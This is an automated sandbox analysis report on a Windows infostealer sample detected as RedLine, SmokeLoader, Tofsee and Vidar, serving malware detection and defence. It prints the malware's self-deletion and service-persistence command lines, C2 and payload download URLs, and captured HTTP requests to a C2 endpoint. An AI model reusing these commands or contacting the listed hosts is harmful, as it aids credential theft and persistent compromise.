Play interactive tour

Edit tour

Windows Analysis Report GJXZRPhgm4.exe

Overview

General Information

Sample Name:	GJXZRPhgm4.exe
Analysis ID:	546825
MD5:	4eb8aaa41fc2ef6fdc3432cc47c09c66
SHA1:	6aa99adf337e5db142aa3a75c416bad6e8f7a2ed
SHA256:	8cedc3fb74185394bbf60d2dc1f9618b1e576986f13031b9e29ef12daa6eaf2c
Tags:	exeRedLineStealer
Infos:
Most interesting Screenshot:

Detection

RedLine SmokeLoader Tofsee Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Yara detected RedLine Stealer

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Detected unpacking (overwrites its own PE header)

Yara detected SmokeLoader

System process connects to network (likely due to code injection or exploit)

Detected unpacking (changes PE section rights)

Antivirus detection for URL or domain

Found malware configuration

Benign windows process drops PE files

Yara detected Vidar stealer

Multi AV Scanner detection for domain / URL

Yara detected Tofsee

Sigma detected: Copying Sensitive Files with Credential Data

Maps a DLL or memory area into another process

PE file has a writeable .text section

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Machine Learning detection for sample

Injects a PE file into a foreign processes

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Contains functionality to inject code into remote processes

Deletes itself after installation

Creates a thread in another existing process (thread injection)

Hides that the sample has been downloaded from the Internet (zone.identifier)

Found many strings related to Crypto-Wallets (likely being stolen)

Checks if the current machine is a virtual machine (disk enumeration)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Crypto Currency Wallets

.NET source code references suspicious native API functions

Changes security center settings (notifications, updates, antivirus, firewall)

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

.NET source code contains method to dynamically call methods (often used by packers)

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Machine Learning detection for dropped file

C2 URLs / IPs found in malware configuration

Contains functionality to detect sleep reduction / modifications

Antivirus or Machine Learning detection for unpacked file

Drops PE files to the application program directory (C:\ProgramData)

Contains functionality to query locales information (e.g. system language)

May sleep (evasive loops) to hinder dynamic analysis

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Uses code obfuscation techniques (call, push, ret)

Detected potential crypto function

Contains functionality to launch a process as a different user

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Suspicious Del in CommandLine

Contains functionality to dynamically determine API calls

HTTP GET or POST without a user agent

Downloads executable code via HTTP

Contains long sleeps (>= 3 min)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Drops files with a non-matching file extension (content does not match file extension)

PE file contains strange resources

Drops PE files

Tries to load missing DLLs

Contains functionality to read the PEB

Uses a known web browser user agent for HTTP communication

Drops PE files to the windows directory (C:\Windows)

Checks if the current process is being debugged

Binary contains a suspicious time stamp

PE file contains more sections than normal

Connects to a URL shortener service

May check if the current machine is a sandbox (GetTickCount - Sleep)

Creates a process in suspended mode (likely to inject code)

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Creates files inside the system directory

PE file contains sections with non-standard names

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Found potential string decryption / allocating functions

Yara detected Credential Stealer

Contains functionality to call native functions

Contains functionality to communicate with device drivers

Found dropped PE file which has not been started or loaded

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a DirectInput object (often for capturing keystrokes)

Is looking for software installed on the system

Queries information about the installed CPU (vendor, model number etc)

AV process strings found (often used to terminate AV products)

Extensive use of GetProcAddress (often used to hide API calls)

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Detected TCP or UDP traffic on non-standard ports

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Uses Microsoft's Enhanced Cryptographic Provider

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Classification

Process Tree

System is w10x64

GJXZRPhgm4.exe (PID: 6196 cmdline: "C:\Users\user\Desktop\GJXZRPhgm4.exe" MD5: 4EB8AAA41FC2EF6FDC3432CC47C09C66)

GJXZRPhgm4.exe (PID: 6588 cmdline: "C:\Users\user\Desktop\GJXZRPhgm4.exe" MD5: 4EB8AAA41FC2EF6FDC3432CC47C09C66)

explorer.exe (PID: 3352 cmdline: C:\Windows\Explorer.EXE MD5: AD5296B280E8F522A8A897C96BAB0E1D)

B7EC.exe (PID: 5812 cmdline: C:\Users\user\AppData\Local\Temp\B7EC.exe MD5: 4EB8AAA41FC2EF6FDC3432CC47C09C66)

B7EC.exe (PID: 5580 cmdline: C:\Users\user\AppData\Local\Temp\B7EC.exe MD5: 4EB8AAA41FC2EF6FDC3432CC47C09C66)

C376.exe (PID: 6592 cmdline: C:\Users\user\AppData\Local\Temp\C376.exe MD5: A181F86F7191ED7680953213C7239305)

cmd.exe (PID: 6552 cmdline: "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\user\AppData\Local\Temp\C376.exe" & exit MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 2016 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

timeout.exe (PID: 5688 cmdline: timeout /t 5 MD5: 121A4EDAE60A7AF6F5DFA82F7BB95659)

CF8D.exe (PID: 1068 cmdline: C:\Users\user\AppData\Local\Temp\CF8D.exe MD5: AD639AA5FF468BA6F8A7503FD5BF89BD)

cmd.exe (PID: 6424 cmdline: "C:\Windows\SysWOW64\cmd.exe" /C mkdir C:\Windows\SysWOW64\ecrnzymb\ MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 2368 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cmd.exe (PID: 4624 cmdline: "C:\Windows\SysWOW64\cmd.exe" /C move /Y "C:\Users\user\AppData\Local\Temp\ackjzztq.exe" C:\Windows\SysWOW64\ecrnzymb\ MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 4244 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

sc.exe (PID: 460 cmdline: C:\Windows\SysWOW64\sc.exe" create ecrnzymb binPath= "C:\Windows\SysWOW64\ecrnzymb\ackjzztq.exe /d\"C:\Users\user\AppData\Local\Temp\CF8D.exe\"" type= own start= auto DisplayName= "wifi support MD5: 24A3E2603E63BCB9695A2935D3B24695)

conhost.exe (PID: 3408 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

D80A.exe (PID: 3044 cmdline: C:\Users\user\AppData\Local\Temp\D80A.exe MD5: 7FCE0E163EA7948C10B044B1EA77DAD9)

D80A.exe (PID: 5456 cmdline: C:\Users\user\AppData\Local\Temp\D80A.exe MD5: 7FCE0E163EA7948C10B044B1EA77DAD9)

svchost.exe (PID: 4364 cmdline: c:\windows\system32\svchost.exe -k localservice -p -s CDPSvc MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 6276 cmdline: c:\windows\system32\svchost.exe -k networkservice -p -s DoSvc MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 3128 cmdline: C:\Windows\System32\svchost.exe -k NetworkService -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

SgrmBroker.exe (PID: 5708 cmdline: C:\Windows\system32\SgrmBroker.exe MD5: D3170A3F3A9626597EEE1888686E3EA6)

svchost.exe (PID: 6216 cmdline: c:\windows\system32\svchost.exe -k localservicenetworkrestricted -p -s wscsvc MD5: 32569E403279B3FD2EDB7EBD036273FA)

MpCmdRun.exe (PID: 3452 cmdline: "C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable MD5: A267555174BFA53844371226F482B86B)

conhost.exe (PID: 5032 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

svchost.exe (PID: 6644 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 3932 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 5916 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

aafjaea (PID: 2208 cmdline: C:\Users\user\AppData\Roaming\aafjaea MD5: 4EB8AAA41FC2EF6FDC3432CC47C09C66)

aafjaea (PID: 1904 cmdline: C:\Users\user\AppData\Roaming\aafjaea MD5: 4EB8AAA41FC2EF6FDC3432CC47C09C66)

svchost.exe (PID: 2928 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

cleanup

Malware Configuration

Threatname: Tofsee

{"C2 list": ["pa:443", "parubey.info:443"]}

Threatname: RedLine

{"C2 url": "86.107.197.138:38133"}

Threatname: SmokeLoader

{"C2 list": ["http://host-data-coin-11.com/", "http://file-coin-host-12.com/"]}

Threatname: Vidar

{"C2 url": "http://file-file-host4.com/tratata.php"}

Yara Overview

Memory Dumps

Source	Rule	Description	Author
00000024.00000002.514940284.0000000000402000.00000040.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000017.00000002.432118007.0000000000A13000.00000004.00000001.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000017.00000002.432118007.0000000000A13000.00000004.00000001.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000019.00000003.408911426.0000000000880000.00000004.00000001.sdmp	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
00000004.00000002.331948331.0000000000580000.00000004.00000001.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000004.00000002.332115128.00000000022F1000.00000004.00020000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000024.00000000.438801599.0000000000402000.00000040.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000010.00000002.386841887.0000000000570000.00000004.00000001.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000024.00000000.439520195.0000000000402000.00000040.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000024.00000000.440164320.0000000000402000.00000040.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000010.00000002.386885797.00000000005A1000.00000004.00020000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000024.00000000.440612043.0000000000402000.00000040.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0000000B.00000000.323021841.0000000004DE1000.00000020.00020000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000016.00000002.412129013.0000000000580000.00000004.00000001.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000019.00000002.447489333.0000000000400000.00000040.00020000.sdmp	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
0000001A.00000002.445057312.0000000004191000.00000004.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000016.00000002.412155343.00000000005A1000.00000004.00020000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000019.00000002.447663709.0000000000860000.00000040.00000001.sdmp	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
Process Memory Space: C376.exe PID: 6592	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: C376.exe PID: 6592	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: CF8D.exe PID: 1068	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
Process Memory Space: D80A.exe PID: 5456	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Click to see the 17 entries

Unpacked PEs

Source	Rule	Description	Author
4.1.GJXZRPhgm4.exe.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
15.2.aafjaea.8615a0.1.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
4.0.GJXZRPhgm4.exe.400000.5.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
25.2.CF8D.exe.400000.0.raw.unpack	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
4.0.GJXZRPhgm4.exe.400000.4.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
20.2.B7EC.exe.8615a0.1.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
36.0.D80A.exe.400000.4.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
25.2.CF8D.exe.860e50.1.raw.unpack	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
26.2.D80A.exe.42af9f0.1.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
36.0.D80A.exe.400000.10.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
36.2.D80A.exe.400000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
26.2.D80A.exe.42af9f0.1.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
4.2.GJXZRPhgm4.exe.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
36.0.D80A.exe.400000.8.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
22.1.B7EC.exe.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
25.2.CF8D.exe.400000.0.unpack	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
1.2.GJXZRPhgm4.exe.8615a0.1.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
4.0.GJXZRPhgm4.exe.400000.6.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
25.3.CF8D.exe.880000.0.raw.unpack	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
36.0.D80A.exe.400000.12.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
22.2.B7EC.exe.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
36.0.D80A.exe.400000.6.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
16.1.aafjaea.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
16.2.aafjaea.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
Click to see the 19 entries

Sigma Overview

System Summary:

Sigma detected: Copying Sensitive Files with Credential Data

Show sources

Source: Process started

Author: Teymur Kheirkhabarov, Daniil Yugoslavskiy, oscd.community: Data: Command: "C:\Windows\SysWOW64\cmd.exe" /C move /Y "C:\Users\user\AppData\Local\Temp\ackjzztq.exe" C:\Windows\SysWOW64\ecrnzymb\, CommandLine: "C:\Windows\SysWOW64\cmd.exe" /C move /Y "C:\Users\user\AppData\Local\Temp\ackjzztq.exe" C:\Windows\SysWOW64\ecrnzymb\, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: C:\Users\user\AppData\Local\Temp\CF8D.exe, ParentImage: C:\Users\user\AppData\Local\Temp\CF8D.exe, ParentProcessId: 1068, ProcessCommandLine: "C:\Windows\SysWOW64\cmd.exe" /C move /Y "C:\Users\user\AppData\Local\Temp\ackjzztq.exe" C:\Windows\SysWOW64\ecrnzymb\, ProcessId: 4624

Sigma detected: Suspicious Del in CommandLine

Show sources

Source: Process started

Author: frack113: Data: Command: "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\user\AppData\Local\Temp\C376.exe" & exit, CommandLine: "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\user\AppData\Local\Temp\C376.exe" & exit, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: C:\Users\user\AppData\Local\Temp\C376.exe, ParentImage: C:\Users\user\AppData\Local\Temp\C376.exe, ParentProcessId: 6592, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\user\AppData\Local\Temp\C376.exe" & exit, ProcessId: 6552

Sigma detected: New Service Creation

Show sources

Source: Process started

Author: Timur Zinniatullin, Daniil Yugoslavskiy, oscd.community: Data: Command: C:\Windows\SysWOW64\sc.exe" create ecrnzymb binPath= "C:\Windows\SysWOW64\ecrnzymb\ackjzztq.exe /d\"C:\Users\user\AppData\Local\Temp\CF8D.exe\"" type= own start= auto DisplayName= "wifi support, CommandLine: C:\Windows\SysWOW64\sc.exe" create ecrnzymb binPath= "C:\Windows\SysWOW64\ecrnzymb\ackjzztq.exe /d\"C:\Users\user\AppData\Local\Temp\CF8D.exe\"" type= own start= auto DisplayName= "wifi support, CommandLine|base64offset|contains: r, Image: C:\Windows\SysWOW64\sc.exe, NewProcessName: C:\Windows\SysWOW64\sc.exe, OriginalFileName: C:\Windows\SysWOW64\sc.exe, ParentCommandLine: C:\Users\user\AppData\Local\Temp\CF8D.exe, ParentImage: C:\Users\user\AppData\Local\Temp\CF8D.exe, ParentProcessId: 1068, ProcessCommandLine: C:\Windows\SysWOW64\sc.exe" create ecrnzymb binPath= "C:\Windows\SysWOW64\ecrnzymb\ackjzztq.exe /d\"C:\Users\user\AppData\Local\Temp\CF8D.exe\"" type= own start= auto DisplayName= "wifi support, ProcessId: 460

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Antivirus detection for URL or domain

Show sources

Source: http://185.7.214.171:8080/6.php	URL Reputation: Label: malware
Source: http://privacytools-foryou-777.com/downloads/toolspab3.exe	Avira URL Cloud: Label: malware
Source: http://data-host-coin-8.com/game.exe	Avira URL Cloud: Label: malware

Found malware configuration

Show sources

Source: 00000004.00000002.331948331.0000000000580000.00000004.00000001.sdmp	Malware Configuration Extractor: SmokeLoader {"C2 list": ["http://host-data-coin-11.com/", "http://file-coin-host-12.com/"]}
Source: 0000001A.00000002.445057312.0000000004191000.00000004.00000001.sdmp	Malware Configuration Extractor: RedLine {"C2 url": "86.107.197.138:38133"}
Source: 25.2.CF8D.exe.860e50.1.raw.unpack	Malware Configuration Extractor: Tofsee {"C2 list": ["pa:443", "parubey.info:443"]}
Source: 23.2.C376.exe.860e50.1.raw.unpack	Malware Configuration Extractor: Vidar {"C2 url": "http://file-file-host4.com/tratata.php"}

Multi AV Scanner detection for domain / URL

Show sources

Source: http://privacytools-foryou-777.com/downloads/toolspab3.exe

Virustotal: Detection: 8%

Perma Link

Machine Learning detection for sample

Show sources

Source: GJXZRPhgm4.exe

Joe Sandbox ML: detected

Machine Learning detection for dropped file

Show sources

Source: C:\Users\user\AppData\Local\Temp\B7EC.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\CF8D.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\ackjzztq.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\B074.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\aafjaea	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\C376.exe	Joe Sandbox ML: detected

Source: 23.2.C376.exe.860e50.1.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 25.2.CF8D.exe.860e50.1.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 25.2.CF8D.exe.400000.0.unpack	Avira: Label: BDS/Backdoor.Gen
Source: 23.3.C376.exe.880000.0.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 25.3.CF8D.exe.880000.0.unpack	Avira: Label: TR/Patched.Ren.Gen

Source: C:\Users\user\AppData\Local\Temp\C376.exe	Code function: 23_2_00407510 CryptUnprotectData,LocalAlloc,LocalFree,	23_2_00407510
Source: C:\Users\user\AppData\Local\Temp\C376.exe	Code function: 23_2_00407470 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	23_2_00407470
Source: C:\Users\user\AppData\Local\Temp\C376.exe	Code function: 23_2_00404830 memset,CryptStringToBinaryA,CryptStringToBinaryA,	23_2_00404830
Source: C:\Users\user\AppData\Local\Temp\C376.exe	Code function: 23_2_00407190 CryptUnprotectData,	23_2_00407190
Source: C:\Users\user\AppData\Local\Temp\C376.exe	Code function: 23_2_004077A0 lstrlen,CryptStringToBinaryA,lstrcat,lstrcat,lstrcat,	23_2_004077A0

Compliance:

Detected unpacking (overwrites its own PE header)

Show sources

Source: C:\Users\user\AppData\Local\Temp\C376.exe	Unpacked PE file: 23.2.C376.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\Temp\CF8D.exe	Unpacked PE file: 25.2.CF8D.exe.400000.0.unpack

Source: GJXZRPhgm4.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: C:\Users\user\AppData\Local\Temp\C376.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 162.159.133.233:443 -> 192.168.2.3:49820 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 67.199.248.10:443 -> 192.168.2.3:49856 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 67.199.248.14:443 -> 192.168.2.3:49857 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 144.76.136.153:443 -> 192.168.2.3:49859 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.158.215:443 -> 192.168.2.3:49861 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 164.132.207.80:443 -> 192.168.2.3:49862 version: TLS 1.2

Source:	Binary string: C:\micat\xi.pdb source: C376.exe, 00000017.00000000.398142069.0000000000401000.00000020.00020000.sdmp, C376.exe.11.dr
Source:	Binary string: 0C:\nenuziw betaxenavumajo hixewepexenag_61.pdb source: GJXZRPhgm4.exe, B7EC.exe.11.dr, aafjaea.11.dr
Source:	Binary string: C:\hevetuzovuxa.pdb source: CF8D.exe, 00000019.00000000.405017606.0000000000401000.00000020.00020000.sdmp, CF8D.exe.11.dr, ackjzztq.exe.25.dr
Source:	Binary string: C:\zoci\kiz\ponecun6\camokixuki1\janel.pdb source: B074.exe.11.dr
Source:	Binary string: HC:\hevetuzovuxa.pdb source: CF8D.exe, 00000019.00000000.405017606.0000000000401000.00000020.00020000.sdmp, CF8D.exe.11.dr, ackjzztq.exe.25.dr
Source:	Binary string: C:\nenuziw betaxenavumajo hixewepexenag_61.pdb source: GJXZRPhgm4.exe, B7EC.exe.11.dr, aafjaea.11.dr

Source: C:\Users\user\AppData\Local\Temp\C376.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\html\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C376.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\css\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C376.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C376.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\images\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C376.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C376.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\_locales\	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\C376.exe	Code function: 23_2_00405E40 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,lstrlen,PathMatchSpecA,CopyFileA,DeleteFileA,PathMatchSpecA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	23_2_00405E40
Source: C:\Users\user\AppData\Local\Temp\C376.exe	Code function: 23_2_00401280 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	23_2_00401280
Source: C:\Users\user\AppData\Local\Temp\C376.exe	Code function: 23_2_00401090 SetCurrentDirectoryA,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	23_2_00401090
Source: C:\Users\user\AppData\Local\Temp\C376.exe	Code function: 23_2_00409B40 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,FindNextFileA,FindClose,	23_2_00409B40
Source: C:\Users\user\AppData\Local\Temp\C376.exe	Code function: 23_2_004087E0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,StrCmpCA,StrCmpCA,GetCurrentDirectoryA,lstrcat,lstrcat,CopyFileA,DeleteFileA,StrCmpCA,GetCurrentDirectoryA,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	23_2_004087E0
Source: C:\Users\user\AppData\Local\Temp\C376.exe	Code function: 23_2_004096E0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	23_2_004096E0
Source: C:\Users\user\AppData\Local\Temp\C376.exe	Code function: 23_2_00409970 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	23_2_00409970

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Show sources

Source: Traffic

Snort IDS: 2033973 ET TROJAN Win32.Raccoon Stealer CnC Activity (dependency download) 192.168.2.3:49903 -> 185.163.204.24:80

System process connects to network (likely due to code injection or exploit)

Show sources

Source: C:\Windows\explorer.exe	Domain query: dodecoin.org
Source: C:\Windows\explorer.exe	Domain query: bitly.com
Source: C:\Windows\explorer.exe	Domain query: cdn.discordapp.com
Source: C:\Windows\explorer.exe	Network Connect: 188.166.28.199 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: short.link
Source: C:\Windows\explorer.exe	Domain query: unicupload.top
Source: C:\Windows\explorer.exe	Network Connect: 185.233.81.115 187	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 185.7.214.171 144	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: host-data-coin-11.com
Source: C:\Windows\explorer.exe	Domain query: bit.ly
Source: C:\Windows\explorer.exe	Domain query: transfer.sh
Source: C:\Windows\explorer.exe	Network Connect: 185.186.142.166 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: privacytools-foryou-777.com
Source: C:\Windows\explorer.exe	Domain query: data-host-coin-8.com

C2 URLs / IPs found in malware configuration

Show sources

Source: Malware configuration extractor	URLs: pa:443
Source: Malware configuration extractor	URLs: parubey.info:443
Source: Malware configuration extractor	URLs: http://host-data-coin-11.com/
Source: Malware configuration extractor	URLs: http://file-coin-host-12.com/
Source: Malware configuration extractor	URLs: http://file-file-host4.com/tratata.php

Source: global traffic	HTTP traffic detected: GET /tratata.php HTTP/1.1Host: file-file-host4.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sqlite3.dll HTTP/1.1Host: file-file-host4.comCache-Control: no-cacheCookie: PHPSESSID=t44a91s61u0706joml8cj91epa
Source: global traffic	HTTP traffic detected: POST /tratata.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AAA1NOZCT2VAAAIEHost: file-file-host4.comContent-Length: 93321Connection: Keep-AliveCache-Control: no-cacheCookie: PHPSESSID=t44a91s61u0706joml8cj91epa

